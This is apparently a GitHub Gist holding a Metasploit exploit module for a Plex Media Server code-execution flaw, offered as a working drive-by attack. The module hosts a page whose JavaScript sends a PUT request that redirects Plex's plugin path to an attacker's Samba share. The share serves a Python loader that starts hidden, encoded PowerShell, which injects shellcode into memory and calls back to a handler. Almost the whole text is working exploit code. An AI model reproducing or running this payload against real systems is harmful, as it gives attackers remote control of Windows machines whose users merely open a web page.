Last active
January 9, 2018 21:11
-
-
Save phikshun/9056951 to your computer and use it in GitHub Desktop.
A Plex Drive-By
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = AverageRanking | |
include Msf::Exploit::Remote::HttpServer::HTML | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Plex Code Execution Vulnerability', | |
'Description' => %q{ | |
This exploit hosts a web page, that uses and XHR PUT request to update the preferences | |
of a plex server hosted at 127.0.0.1. It also creates a samba share which hosts a remote | |
plugin folder, with a malicious plugin loader script. | |
Be SURE to start an appropriate handler as a background job, since this exploit does not | |
launch a handler. | |
This exploit only works on Linux msf -- it expects Samba with a Debian/Kali file system | |
layout. Target must be Windows 7/8 x86/x64. | |
}, | |
'Author' => [ 'Phikshun' ], | |
'License' => MSF_LICENSE, | |
'Version' => '$Revision: 14774 $', | |
'References' => | |
[ | |
[ 'URL', 'http://disconnected.io/2014/02/17/a-plex-drive-by/' ], | |
], | |
'DefaultOptions' => | |
{ | |
}, | |
'Platform' => 'win', | |
'Targets' => | |
[ | |
[ 'Windows 7/8 x86/x64', { 'Arch' => ARCH_X86 } ], | |
], | |
'Privileged' => false, | |
'DefaultTarget' => 0, | |
'DisclosureDate' => '0 day, yo')) | |
end | |
def setup | |
print_status('Building exploit') | |
FileUtils.rm_rf('/tmp/msf_plex') | |
FileUtils.mkdir('/tmp/msf_plex') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2') | |
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python') | |
File.open('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python/bootstrap.py', 'w') do |f| | |
f.write(python_exploit) | |
end | |
FileUtils.chmod_R 0777, '/tmp/msf_plex' | |
FileUtils.chmod 0444, '/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python/bootstrap.py' | |
print_status('Configuring Samba') | |
smb_conf = File.read('/etc/samba/smb.conf') | |
unless smb_conf =~ /msfplex/ | |
FileUtils.cp('/etc/samba/smb.conf', '/etc/samba/smb.conf.msfbak') | |
File.open('/etc/samba/smb.conf', 'a') do |f| | |
f.write("\n[msfplex]\n\npath = /tmp/msf_plex\nbrowseable = yes\nread only = no\nguest ok = yes\ncreate mask = 0777\ndirectory mask = 0777\n\n") | |
end | |
end | |
print_status("Restarting Samba: \n" + `service samba restart`) | |
print_status("Waiting for web request... be sure to start exploit/multi/handler") | |
end | |
def on_request_uri(cli, request) | |
send_response(cli, javascript_exploit, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) | |
end | |
def javascript_exploit | |
js = <<-EOS | |
<html> | |
<head> | |
<title>Plex Pwn</title> | |
<script src='http://code.jquery.com/jquery-latest.min.js' type='text/javascript'></script> | |
</head> | |
<body> | |
<script> | |
$(document).ready(function(){ | |
$.ajax({ | |
type: 'PUT', | |
url: 'http://localhost:32400/:/prefs?LocalAppDataPath=%5C%5C' + location.host.replace(/:[0-9]+/,'') + '%5Cmsfplex', | |
success: function(response) { | |
$('#output').html("Owned"); | |
}, | |
error: function() { | |
$('#output').html("No service found on localhost:32400"); | |
} | |
}); | |
setTimeout(function() { | |
$.ajax({ | |
type: 'GET', | |
url: 'http://localhost:32400/:/plugins/com.plexapp.system/restart', | |
success: function(response) { } | |
}); | |
}, 2000); | |
}); | |
</script> | |
<pre id="output"> | |
</pre> | |
</body> | |
</html> | |
EOS | |
end | |
def python_exploit | |
# Create powershell script that will inject shell code from the selected payload | |
ps = "$code = @\" | |
[DllImport(\"kernel32.dll\")] | |
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | |
[DllImport(\"kernel32.dll\")] | |
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | |
[DllImport(\"msvcrt.dll\")] | |
public static extern IntPtr memset(IntPtr dest, uint src, uint count); | |
\"@ | |
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru | |
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')} | |
$size = 0x1000 | |
if ($sc.Length -gt 0x1000) {$size = $sc.Length} | |
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) | |
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} | |
$winFunc::CreateThread(0,0,$x,0,0,0)" | |
# Unicode encode powershell script | |
ps_uni = Rex::Text.to_unicode(ps) | |
# Base64 encode unicode | |
ps_b64 = Rex::Text.encode_base64(ps_uni) | |
# Final arguments for powershell | |
args = "-w hidden -nop -ep bypass -noexit -encodedCommand #{ps_b64}" | |
psh64 = "c:\\\\windows\\\\syswow64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe #{args}" | |
psh32 = "c:\\\\windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe #{args}" | |
bootstrap_py = <<-EOS | |
import os | |
import subprocess | |
if "powershell.exe" not in subprocess.check_output('tasklist /FI "IMAGENAME eq powershell.exe"'): | |
if 'PROGRAMFILES(X86)' in os.environ: | |
subprocess.Popen("#{psh64}") | |
else: | |
subprocess.Popen("#{psh32}") | |
EOS | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment